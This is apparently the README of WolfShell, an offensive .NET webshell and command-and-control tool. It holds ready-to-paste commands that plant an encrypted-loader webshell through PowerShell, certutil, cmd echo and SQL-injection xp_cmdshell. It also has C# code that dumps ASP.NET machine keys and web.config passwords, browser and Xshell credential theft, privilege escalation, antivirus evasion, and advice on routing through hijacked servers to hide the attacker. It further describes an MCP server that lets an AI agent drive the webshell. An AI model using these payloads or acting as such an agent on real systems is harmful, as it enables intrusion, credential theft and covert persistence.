wolfshell

 [](https://github.com/0x7556) [](https://github.com/0x7556/wolfshell/releases) [](https://github.com/0x7556/wolfshell/issues) [](https://github.com/0x7556/wolfshell) [](https://github.com/0x7556/wolfshell) [](https://github.com/0x7556/wolfshell) [English Version](README-EN.md) ## 🐺 Abyss Wolf Legend has it that in the shadows of every line of code, a wolf from the abyss lies in wait. It feeds on **abandoned bytes** and nests in **broken protocols**. No one has ever seen its form, for its **claws never leave a mark on the logs**. It does not chase light, nor does it roar in the wind. It waits for **that slightly ajar door**. When **the door crack reveals the faint light of permission**, the Abyss Wolf **arrives silently** - at that moment, **all alarms fall silent, all processes sleep**, as if the entire world had not noticed. Only the void remembers: **the Abyss Wolf has arrived, and all is silent.** ## WolfShell: The First AI-Powered Penetration Advanced WebShell & C2 Management Tool WolfShell (Abyss Wolf) is an advanced **WebShell** and **C2 management tool** designed for Microsoft **.NET/ASPX** environments, targeting security research and penetration testing ( **red team** ) use, providing powerful **command execution**, **privilege escalation**, and **internal network penetration** capabilities; built-in numerous penetration tools and integrated **AI intelligent penetration** assistance, supporting **memory loading** and **fileless operation**, thereby achieving **high concealment** of internal network penetration and flexible expansion. ## 🚀 Core Advantages * AI Intelligent Penetration: Supports using natural language to command AI to operate WebShell to execute commands for penetration. * Efficient and Concealed Communication: Adopts binary stream transmission protocol to ensure high efficiency and concealment of communication. * End-to-End Secure Encryption: All transmitted Payloads are protected by AES encryption, and each communication uses a random key to ensure data security. * No痕迹 Operation: Supports direct loading and execution of code in memory, maximally avoiding leaving traces on the disk, significantly improving operational concealment and safety. * Internal Network Cascade WebShell Control: Through an existing controlled WebShell, without deploying an agent or configuring port forwarding, it is possible to connect and control WebShells in deeper internal network environments. * Hacking Post-Penetration: Through a controlled WebShell, loads penetration tools into memory, without deploying an agent or configuring port forwarding, to achieve convenient and efficient internal network lateral movement. * Language Features: Server (WebShell) and payload are all in pure English, with only provided WebShell variant files containing English, Japanese, and Korean. ## 🔥 Functional Features * .NET Shell: [ASPX](shell/aspx), [ASHX](shell/ashx), ASMX, [memory horse](shell/mem), [EXE](shell/wolf.cs), [PowerShell](shell/wolf.ps1), DLL, MSbuild, ysoserial deserialization, and 9 other types. * .NET Forward Horse: Supports implanting forward backdoors in personal machines to control the entire internal network, [EXE](shell/wolf.cs), [PS1](shell/wolf.ps1), DLL, MSbuild, etc., supports IIS port reuse. * .NET Memory Horse: ASPX one-click injects memory horse, arbitrary path access, each time the shell address can be modified to connect, interfering with blue team analysis. * PHP Shell: V3.9 adds AES, XOR, HEX, Base64, Plain, and 5 other types of PHP WebShell. * Cmd Command Execution: Directly executes arbitrary CMD commands on the target system. Modified whoami to prevent EDR recording and alerting. * File Management: Enumerates directory files, creates files, uploads files, executes EXE, renames, deletes, and sets file time on the target system. * PowerShell Execution: Supports executing PowerShell code and commands. Modified whoami to prevent EDR recording and alerting. * Shellcode Execution: Directly executes native Shellcode in the target environment, one-click上线Cobalt Strike, Metasploit. * .NET Program Execution: Supports loading and executing custom .NET program sets in memory, quickly expanding post-penetration capabilities. * Memory Loading Scanner: Only develops a single IP .NET program, which can be transformed into a memory-loaded C-segment scanner through this module. * C# Code Execution: Supports dynamic loading and execution of C# code, copying case codes, and giving AI modifications to quickly expand combat effectiveness. * ValidationKey: Extracts ValidationKey, Validation, DecryptionKey, and other ViewState deserialization information. * web.config Reading: Extracts database connection information (database name, user, password), SMTP/mail server user password, etc. * Port Forwarding: Achieves local port mapping to remote internal network hosts, facilitating secure access to internal network services. * HTTP Proxy: One-click memory injection Suo5 high-performance HTTP tunnel proxy tool. * EfsPotato: Utilizes system service vulnerabilities for privilege escalation. * BadPotato: Utilizes system service vulnerabilities for privilege escalation. * Internal Network Cascade Cmd Command Execution: Supports cascading internal network second-layer WebShell to execute CMD commands for lateral movement. * Internal Network Cascade PowerShell Execution: Supports cascading internal network second-layer WebShell to execute PowerShell commands for lateral movement. * SshCmd: SSH remote command execution tool, supports command execution, file upload/download, and lateral movement on internal network hosts. * MysqlCmd: MySQL database connection tool, supports connecting to internal network MySQL, executing queries, importing and exporting, and other database operations. * MssqlCmd: SQL Server database connection tool, supports connecting to internal network databases, executing queries, importing and exporting, lateral movement, command execution, Potato privilege escalation, etc. * SharpWeb: Browser credential capture tool, supports extracting saved Chrome, Firefox, Edge login information and credentials. * Password Reading: IISpwd wifipwd FileZillaPwd firefoxpwd XshellPwd GetPwd FirefoxHistory FirefoxCookie * Vulnerability Detection: MS17010 SMBGhost HikvisionPoc ActivemqPoc Struts2Poc WeblogicPoc CVE-2022-36537 CVE-2024-47176 CVE-2022-27925 CVE-2024-27956 * Lateral Movement Tools: wshell SmbExec WmiExec WmiExec2 AtExec MssqlCmd MmcExec ShellExec ShellBrowserExec * AI Evasion: Accesses AI artificial intelligence, chatting can evade WebShell. * Ladon: Internal network penetration toolset, memory loading without file landing, includes port scanning, asset detection, password auditing, vulnerability detection, vulnerability exploitation, lateral movement, etc. (Tools are integrated, currently completed over 10 kinds of protocol asset detection, other modules are not yet supported, like potato, not all tools can be integrated, some functions may require using original programs) * AddUser: Bypass antivirus EDR\XDR adds system users, administrators, domain users, domain administrators tools. * NoPowerShell: Disables or does not have PowerShell to execute PowerShell commands, code, and files. ## Auxiliary Functions ### AI Artificial Intelligence * AI Evasion: Accesses AI artificial intelligence, chatting can evade WebShell. * AI Penetration: Built-in MCP server, uses natural language to command AI for post-penetration. ### Encryption and Decryption * Supported encryption algorithms: BASE64, HEX, ASCII, PowerShell, MD5, SHA1, SHA256, URL encoding * Supported decryption algorithms: BASE64, HEX, ASCII, PowerShell, URL encoding ## Installation and Usage 1. **Download WolfShell** ```bash git clone https://github.com/0x7556/wolfshell.git ``` 2. **Target Environment** - Ensure the target environment supports ASPX, ASHX, ASMX, and other scripts - .NET >= 3.5, Windows 7-Windows 2026 3. **Upload WolfShell** - Upload WolfShell files to the target server, client supports generating ASPX, ASHX, memory horse, and 9 other types. - WebShell scripts: https://github.com/0x7556/wolfshell/tree/main/shell 4. **Access WebShell** - Connect WebShell through the tool client, default password WolfShell, modify password can use WolfHash encryption. ## Usage Environment ### Client - **Local Operating System:** Windows 7-Windows 2026 - **Local .NET Version:** .NET Framework 4.8 ### Shell - **Target Operating System:** Windows 7-Windows 2026 - **Target .NET Version:** >=.NET Framework 3.5 ## Vulnerability General GetShell Commands With command execution or SQL injection conditions, you can write WolfShell using the following 6 methods  ### PowerShell Write WebShell wolf.aspx ```bash powershell -Command "Set-Content -Path 'wolf.aspx' -Value '<%@ Page Language=\"C#\" %><%if (Request.Cookies.Count != 0) { byte[] k = Encoding.Default.GetBytes(\"ca63457538b9b1e0\"); System.IO.Stream s = Request.InputStream; byte[] c = new byte[s.Length]; s.Read(c, 0, c.Length); System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance(\"K\").Equals(this); }%>'" ``` ### PowerShell Command Base64 Write WebShell wolf.aspx ```bash powershell -EncodedCommand UwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAIgB3AG8AbABmAC4AYQBzAHAAeAAiACAALQBWAGEAbAB1AGUAIAAnADwAJQBAACAAUABhAGcAZQAgAEwAYQBuAGcAdQBhAGcAZQA9ACIAQwAjACIAIAAlAD4APAAlAGkAZgAgACgAUgBlAHEAdQBlAHMAdAAuAEMAbwBvAGsAaQBlAHMALgBDAG8AdQBuAHQAIAAhAD0AIAAwACkAIAB7ACAAYgB5AHQAZQBbAF0AIABrACAAPQAgAEUAbgBjAG8AZABpAG4AZwAuAEQAZQBmAGEAdQBsAHQALgBHAGUAdABCAHkAdABlAHMAKAAiAGMAYQA2ADMANAA1ADcANQAzADgAYgA5AGIAMQBlADAAIgApADsAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtACAAcwAgAD0AIABSAGUAcQB1AGUAcwB0AC4ASQBuAHAAdQB0AFMAdAByAGUAYQBtADsAIABiAHkAdABlAFsAXQAgAGMAIAA9ACAAbgBlAHcAIABiAHkAdABlAFsAcwAuAEwAZQBuAGcAdABoAF0AOwAgAHMALgBSAGUAYQBkACgAYwAsACAAMAAsACAAYwAuAEwAZQBuAGcAdABoACkAOwAgAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQAuAEwAbwBhAGQAKABuAGUAdwAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGkAagBuAGQAYQBlAGwATQBhAG4AYQBnAGUAZAAoACkALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoAGsALAAgAGsAKQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKABjACwAIAAwACwAIABjAC4ATABlAG4AZwB0AGgAKQApAC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAIgBLACIAKQAuAEUAcQB1AGEAbABzACgAdABoAGkAcwApADsAIAB9ACUAPgAnAA== ``` ### cmd Command echo & certutil Write WebShell wolf.aspx ```bash echo 3c25402050616765204c616e67756167653d2243232220253e3c2569662028526571756573742e436f6f6b6965732e436f756e7420213d203029207b20627974655b5d206b203d20456e636f64696e672e44656661756c742e476574427974657328223961613337623163323561303834653022293b2053797374656d2e494f2e53747265616d2073203d20526571756573742e496e70757453747265616d3b20627974655b5d2063203d206e657720627974655b732e4c656e6774685d3b20732e5265616428632c20302c20632e4c656e677468293b2053797374656d5265666c656374696f6e2e417373656d626c792e4c6f6164286e65772053797374656d2e53656375726974792e43727970746f6772617068792e52696a6e6461656c4d616e6167656428292e437265617465446563727970746f72286b2c206b292e5472616e73666f726d46696e616c426c6f636b28632,20302c20632e4c656e67746829292e437265617465496e7374616e636528224b22292e457175616c732874686973293b207d253e > w.hex && certutil -f -decodehex w.hex wolf.aspx && del w.hex ``` ### cmd Command echo WriteShell wolf.aspx ```bash echo ^<%@ Page Language="C#" %^> > wolf.aspx && echo ^<% if (Request.Cookies.Count != 0) { >> wolf.aspx && echo byte[] k = Encoding.Default.GetBytes("ca63457538b9b1e0"); >> wolf.aspx && echo System.IO.Stream s = Request.InputStream; >> wolf.aspx && echo byte[] c = new byte[s.Length]; >> wolf.aspx && echo s.Read(c, 0, c.Length); >> wolf.aspx && echo System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("K").Equals(this); >> wolf.aspx && echo } %^> >> wolf.aspx ``` ### SQL Injection xp_cmdshell WriteShell wolf.aspx ```bash '; EXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %^> > C:\inetpub\wwwroot\wolf.aspx && echo ^<% if (Request.Cookies.Count != 0) {>> C:\inetpub\wwwroot\wolf.aspx && echo byte[] k = Encoding.Default.GetBytes("ca63457538b9b1e0");>> C:\inetpub\wwwroot\wolf.aspx && echo System.IO.Stream s = Request.InputStream;>> C:\inetpub\wwwroot\wolf.aspx && echo byte[] c = new byte[s.Length];>> C:\inetpub\wwwroot\wolf.aspx && echo s.Read(c, 0, c.Length);>> C:\inetpub\wwwroot\wolf.aspx && echo System.Reflection.Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("K").Equals(this);>> C:\inetpub\wwwroot\wolf.aspx && echo } %^> >> C:\inetpub\wwwroot\wolf.aspx'; -- ``` ### Compile EXE Program Forward Horse C2 ```bash C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:wolf.exe wolf.cs ``` PS: You can modify it, add startup items, achieve persistence, combine cascade functionality, and move freely within the internal network. You can also modify the code into a DLL, and use DLL hijacking to control multiple internal network machines. ### PowerShell Forward Horse C2 ```bash C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File wolf.ps1 ### IIS Port Reuse Backdoor If the target exists IIS, whether it is PowerShell or exe version, supports port reuse within the internal network ## Functional Examples ### Custom .NET Program Execution .NET Program Execution: Supports in-memory loading and execution of custom .NET assemblies, rapidly expanding post-penetration capabilities.  # AI Artificial Intelligence ## AI Immune Killing Using AI to kill WolfShell WebShell server-side  ## AI Penetration ### Cherry Studio MCP Configuration ```json "mcpServers": { "xf5pBIECy50rKmx53Gy7n": { "name": "WolfShellMCP", "type": "stdio", "description": "", "isActive": true, "command": "C:\\Users\\Administrator\\Downloads\\wolfshell-main\\WolfShellMCP.exe", "args": [], "env": { "WOLFSHELL_API": "http://127.0.0.1:7556" } } ``` * Other clients are similar, feel free to submit other client configuration codes. Cross-platform MCP supports Windows/Linux/MacOS and other operating systems. * For use under Kali, please download the lnx version, and set the environment variable WOLFSHELL_API to the remote API address of the WolfShell machine. * WolfShell AI Shell MCP: https://github.com/0x7556/PentestMCP/releases/tag/wolfshellmcp3.4 ### Start AI Intelligent Server API Click on the WolfShell tool tab "AI->MCP", find the button "API MCP Server"  ### 1. AI Penetration Execute CMD Commands through WolfShell (using Shell address and password) Cooperate with relevant vulnerabilities to let AI automatically obtain shell, taking successful execution of commands as the acceptance criteria, preventing AI hallucinations or detection of 200 status misreported as successful GetShell. **Example prompts:** - Using WolfShell http://192.168.50.106/shell.aspx Wolf8888 to execute CMD command: whoami - Using WolfShell http://192.168.1.11/wolf.aspx WolfShell to execute CMD command: view system information  ### 2. AI Penetration Execute CMD Commands through WolfShell Client Preconfigured ID Advantages do not reveal target Shell and password to AI **Example prompts:** - Using WolfShell ID 9 to execute CMD command: view current user  ### 3. AI Penetration Execute PowerShell Commands through WolfShell Shell (using Shell address and password) Cooperate with relevant vulnerabilities to let AI automatically obtain shell, taking successful execution of commands as the acceptance criteria, preventing AI hallucinations or detection of 200 status misreported as successful GetShell. **Example prompts:** - Using WolfShell http://192.168.1.11/wolf.aspx WolfShell to execute PowerShell command: whoami - Using WolfShell http://192.168.1.11/wolf.aspx WolfShell to execute PowerShell command: view system information  ### 4. AI Penetration Execute PowerShell Commands through WolfShell Client Preconfigured ID Advantages do not reveal target Shell and password to AI **Example prompts:** - Using WolfShell ID 9 to execute PowerShell command: ipconfig - Using WolfShell ID 9 to execute PowerShell command: view current IP  ### 5. AI Penetration WolfShell Video Demonstration https://github.com/0x7556/hackvideo/blob/main/Wolf%20AI%20Shell.mov ### 6. AI Penetration WolfShell File Upload **Example prompts:** - Using WolfShell http://192.168.50.106/shell.aspx Wolf8888 to upload file C:\Users\Administrator\Desktop\TestTest\wolf.exe to target's Public directory - Using WolfShell ID 9 to execute upload file C:\Users\Administrator\Desktop\TestTest\wolf.exe to target's Public directory  ### 7. AI Penetration WolfShell EfsPotato Privilege Escalation **Example prompts:** - Using WolfShell ID 9 to execute EfsPotato to execute whoami - Using WolfShell http://192.168.50.106/shell.aspx Wolf8888 to execute EfsPotato to execute whoami  ### 8. AI Penetration WolfShell BadPotato Privilege Escalation **Example prompts:** - Using WolfShell ID 9 to execute BadPotato to execute whoami - Using WolfShell http://192.168.50.106/shell.aspx Wolf8888 to execute BadPotato to execute whoami  ## Cascade Control Intranet Shell & C2 ### Cascade Intranet Layer 3 WebShell Execute Cmd Command Through entry point 192.168.50.106 cascade intranet 192.168.50.159 and then cascade to the next layer of intranet 192.168.50.69 WebShell execute command PS: Of course, you can also cascade to the extranet, such as grabbing some servers as jumpers, and the real target is at layer 3, making it difficult to track or trace back to your real IP.  ### Cascade Intranet Layer 2 WebShell Execute Cmd Command Through entry point 192.168.50.159 cascade intranet 192.168.50.106 WebShell execute command  ### WebShell Entry Point Execute Cmd Command  ### WebShell Entry Point Execute PowerShell Command/Code * whoami code implementation non-system whoami * Support command execution, code execution length 9K * Input info, ver to view operating system version, bit number, .NET version, PowerShell version information * Input whoami, username can automatically convert to corresponding powershell code to view user information * Base64 encryption code execution example base64:ZWNobyBXb2xmU2hlbGw= ```csharp PS C:\Users\admin>whoami whoami: IIS APPPOOL\DefaultAppPool Username: WIN-021V7TK43N5$ PS C:\Users\admin>info Operating System Version: Microsoft Windows Server 2019 Datacenter 64 bit Version Number: 10.0.17763 PowerShell Version: 5.1.17763.1 .NET Detailed Versions: PSChildName Version Release ----------- ------- ------- Client 4.7.03190 461814 PS C:\Users\admin>base64:ZWNobyBXb2xmU2hlbGw= WolfShell PS C:\Users\admin>Write-Host "Current User:`n$env:USERNAME" Current User: WIN-021V7TK43N5$ ```  ### File Management  ### C# Code Execution #### Get ValidationKey Example Code * ValidationKey: extract ValidationKey, Validation, DecryptionKey and other ViewState deserialization information ```csharp using System; using System.Reflection; using System.Web.Configuration; public class Eval { public string eval(Object obj) { var sy = Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"); var mkt = sy.GetType("System.Web.Configuration.MachineKeySection"); var gac = mkt.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic); var cg = (MachineKeySection)gac.Invoke(null, new object[0]); return "ValidationKey: " + cg.ValidationKey + " | " + "Validation: " + cg.Validation + " | " + "DecryptionKey: " + cg.DecryptionKey + " | " + "Decryption: " + cg.Decryption + " | " + "CompatibilityMode: " + cg.CompatibilityMode; } } ```  #### Scan C Segment Surviving Hosts Example Code ```csharp using System; using System.Net; using System.Net.NetworkInformation; using System.Text; using System.Threading.Tasks; public class Eval { public string eval(Object obj) { StringBuilder iplist = new StringBuilder(); string baseIP = "192.168.1."; PingOptions options = new PingOptions(); options.DontFragment = true; var tasks = new Task[254]; for (int i = 1; i < 255; i++) { int ipSuffix = i; tasks[i - 1] = Task.Run(() => { using (Ping myPing = new Ping()) { PingReply reply = myPing.Send(baseIP + ipSuffix, 120); if (reply.Status == IPStatus.Success) { lock (iplist) { iplist.AppendLine("Alive IP: " + reply.Address.ToString()); } } } }); } Task.WaitAll(tasks); return iplist.ToString(); } } ```  #### CMD Command Execution Example Code ```csharp using System; using System.Diagnostics; public class Eval { public string eval(Object obj) { try { Process process = new Process(); process.StartInfo.FileName = "cmd.exe"; process.StartInfo.Arguments = "/c whoami"; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.Start(); string result = process.StandardOutput.ReadToEnd(); process.WaitForExit(); return result; } catch (Exception ex) { return "Error occurred: " + ex.Message; } } } ```  #### Get web.config Password Example Code * web.config reading: extract database connection information (database name, user, password), SMTP/mail server user password, etc. ```csharp using System; using System.Configuration; using System.Text; public class Eval { public string eval(Object obj) { try { var connectionStrings = ConfigurationManager.ConnectionStrings; var appSettings = ConfigurationManager.AppSettings; var result = new StringBuilder(); foreach (ConnectionStringSettings connectionString in connectionStrings) { result.AppendLine("Connection string name: " + connectionString.Name); result.AppendLine("Connection string value: " + connectionString.ConnectionString); result.AppendLine(); } result.AppendLine(); foreach (string key in appSettings.AllKeys) { result.AppendLine("Key: " + key + ", Value: " + appSettings[key]); } return result.ToString(); } catch (Exception ex) { return "Error occurred: " + ex.Message; } } } ```  ### Encryption and Decryption Algorithms Support encryption algorithms: BASE64, HEX, ASCII, PowerShell, MD5, SHA1, SHA256, URL encoding Support decryption algorithms: BASE64, HEX, ASCII, PowerShell, URL encoding #### WolfShell Password  #### ASCII Code Encryption  #### BASE64 Decryption  #### HEX Hexadecimal Decryption  ### Potato Privilege Escalation Example #### efspotato Privilege Escalation  #### badpotato Privilege Escalation  ### Intranet Scanning Example  ### Port Forwarding Example  ### HTTP Proxy Example  ## Hacking Post-penetration ### SSH Remote Command Execution Example ```bash Usage: sshcmd 192.168.50.128 22 root toor id sshcmd 192.168.50.128 22 root toor download /tmp/down.rar c:\down.rar sshcmd 192.168.50.128 22 root toor upload c:\upload.rar /tmp/upload.rar Keybord sshcmd 192.168.50.128 22 root toor download2 /tmp/down.rar c:\down.rar sshcmd 192.168.50.128 22 root toor upload2 c:\upload.rar /tmp/upload.rar ```  ### Mysql Database Connection Example ```bash mysqlcmd host port user pass dbname sqlstr mysqlcmd host port user pass dbname sqlb64 Demo: mysqlcmd 192.168.50.139 3306 root WolfShell mysql info mysqlcmd 192.168.50.139 3306 root WolfShell mysql ""SELECT VERSION(); "" mysqlcmd 192.168.50.139 3306 root WolfShell mysql ""SELECT 3+5 "" mysqlcmd 192.168.50.139 3306 root WolfShell mysql c2VsZWN0IDMrNQ=="; ```  ### Reading Browser Password Example * SharpWeb: A browser credential extraction tool that supports extracting saved Chrome, Firefox, Edge login information and credentials. ```bash Usage: SharWeb arg0 [arg1 arg2 ...] Arguments: all - Retrieve all Chrome, FireFox and IE/Edge credentials. full - The same as 'all' chrome - Fetch saved Chrome logins. e.g. -d Directory firefox - Fetch saved FireFox logins. e.g. -p masterkey -d Directory edge - Fetch saved Internet Explorer/Microsoft Edge logins. Demo: SharWeb all SharWeb chrome SharWeb chrome -d C:\Output SharWeb firefox -p mymasterkey -d C:\Output SharWeb edge ======================================================================= ```  ### Ladon Internal Network Penetration Tool Example 20251106 Mainly integrates the following detection functions, other functions are not yet supported ```bash Usage: Ladon whoami Ladon 192.168.50.159/24 ICMP ICMP alive host detection Ladon 192.168.50.159/24 PortScan Open port service scan Ladon 192.168.50.159/24 WebScan Website title, middleware Ladon 192.168.50.159/24 SmbInfo SMB alive host detection, NTLM system information Ladon 192.168.50.159/24 NbtInfo NBT alive host detection, NTLM system information Ladon 192.168.50.159/24 WmiInfo WMI alive host detection, NTLM system information Ladon 192.168.50.159/24 LdapInfo LDAP alive host detection, NTLM system information Ladon 192.168.50.159/24 RdpInfo RDP alive host detection, NTLM system information Ladon 192.168.50.159/24 SmtpInfo SMTP alive host detection, NTLM system information Ladon 192.168.50.159/24 HttpInfo HTTP alive host detection, NTLM system information Ladon 192.168.50.159/24 WinrmInfo Winrm alive host detection, NTLM system information Ladon 192.168.50.159/24 MssqlInfo SQL database host detection, NTLM system information Ladon 192.168.50.159/24 FtpInfo      FTP alive host detection Ladon 192.168.50.159/24 T3Info       Weblogic protocol detection Ladon 192.168.50.159/24 CiscoInfo    Cisco router detection Ladon 192.168.50.159/24 SnmpInfo   SNMP device detection, such as routers, switches, etc. Ladon 192.168.50.159/24 OxidInfo     Windows multi-NIC host detection Ladon 192.168.50.159/24 EthInfo      Windows multi-NIC host detection Ladon http://0x7556.org WPinfo     WordPress version, plugin detection, vulnerability Ladon 192.168.50.159/24 DnsInfo      DNS alive host detection, domain name identification ``` #### SMB Protocol NTLM Information OS Operating System Identification  #### WebScan Website Title, Middleware Scan  ### Port Scan Example ```bash PortScan 192.168.50.159 PortScan 192.168.50.159 80，22，135，445 ```  ## MS17010 Vulnerability Detection  ## SQL Server Lateral Movement Database Privilege Escalation  ## Xshell Password Reading  ## webkey Password Reading Parsing web.config to get ValidationKey (ViewState deserialization Exchange, SharePoint backdoor)  ## CVE-2025-55182 Next.js Rce Vulnerability Exploitation [+]CVE-2025-55182 CVE-2025-55182 Next.js Rce vulnerability exploitation [+]NextJSexp CVE-2025-55182 Next.js Rce vulnerability exploitation  ## CVE-2026-48907 Joomla JCE Editor RCE Vulnerability Detection [+]CVE-2026-48907 http://target.com  ## EXP Local Usage Use Hacking tools EXP locally, run HackTest.exe, add Shell: http://127.0.0.1:8080/wolfshell Right-click --- Hacking post-penetration toolset --- click corresponding tool EXP, tool usage appears, enter command in text box to execute ## Memory Loading Internal Network Scanner ### Memory Loading Scanner * Only need to develop a single IP .NET program, through this module can become a memory-loaded C segment scanner. * If you only need to implement detection, vulnerability exploitation and other tools for a single IP, note that classes and methods need to be Public #### Custom Tool Original Usage ```bash F:\py>urltitle.exe 192.168.50.1 URL: http://192.168.50.1/ | Status: 200 | Banner: httpd/2.0 | Title: No Title ``` #### Remote Memory Loading Become Internal Network C Segment Scanner Usage: 1. Drag the target EXE to the "ExePath" file path input box. 2. Fill in the "C segment" input box with the network segment to be scanned (e.g., 192.168.1.0/24). 3. Click the "Scan" button to start scanning. The scanning behavior and results are determined by the loaded EXE functionality. Description: - The loader defaults to detecting whether the target is alive through ICMP (ping), and only alive hosts will be loaded and executed with custom EXE. - If the target network disables ICMP response, please uncheck the "Prior detection/ICMP" option to skip the detection step. --  #### Memory Loading Scanner Built-in MS17010 Vulnerability Detection  ## Disclaimer - When using WolfShell, please follow relevant laws and regulations, and ensure that it is used in an authorized environment. - This tool is only for education and research purposes, and any abuse will be borne by the user. ## Software Homepage - WolfShell: https://github.com/0x7556/wolfshell - McpSerer: https://github.com/0x7556/PentestMCP ## Issue Feedback Welcome any form of contribution! Please submit issues, suggestions, or pull requests. ## License This project is licensed under the MIT license, see [LICENSE](LICENSE) for details. ## Resource Links Integrated or will be added tools, tools use memory loading, some tools have not solved compatibility issues, such as (SweetPotato\GodPotato, may need to upload the target to execute in cmd) * Ladon (Internal Network Penetration Framework): https://github.com/k8gege/Ladon (very rich functions, under research) * gpt4free (AI free API): https://github.com/xtekky/gpt4free * SharpWeb (browser password reading): https://github.com/djhohnstein/SharpWeb * suo5 proxy (HTTP tunnel proxy): https://github.com/zema1/suo5 * BadPotato (privilege escalation tool): https://github.com/BeichenDream/BadPotato * EfsPotato (privilege escalation tool): https://github.com/zcgonvh/EfsPotato * CVE-2025-59287 vulnerability .net deserialization in-memory positive horse: https://github.com/0x7556/CVE-2025-59287 ## Follow * Welcome to follow the public account and Github, your follow, like, feedback will be the motivation for software updates!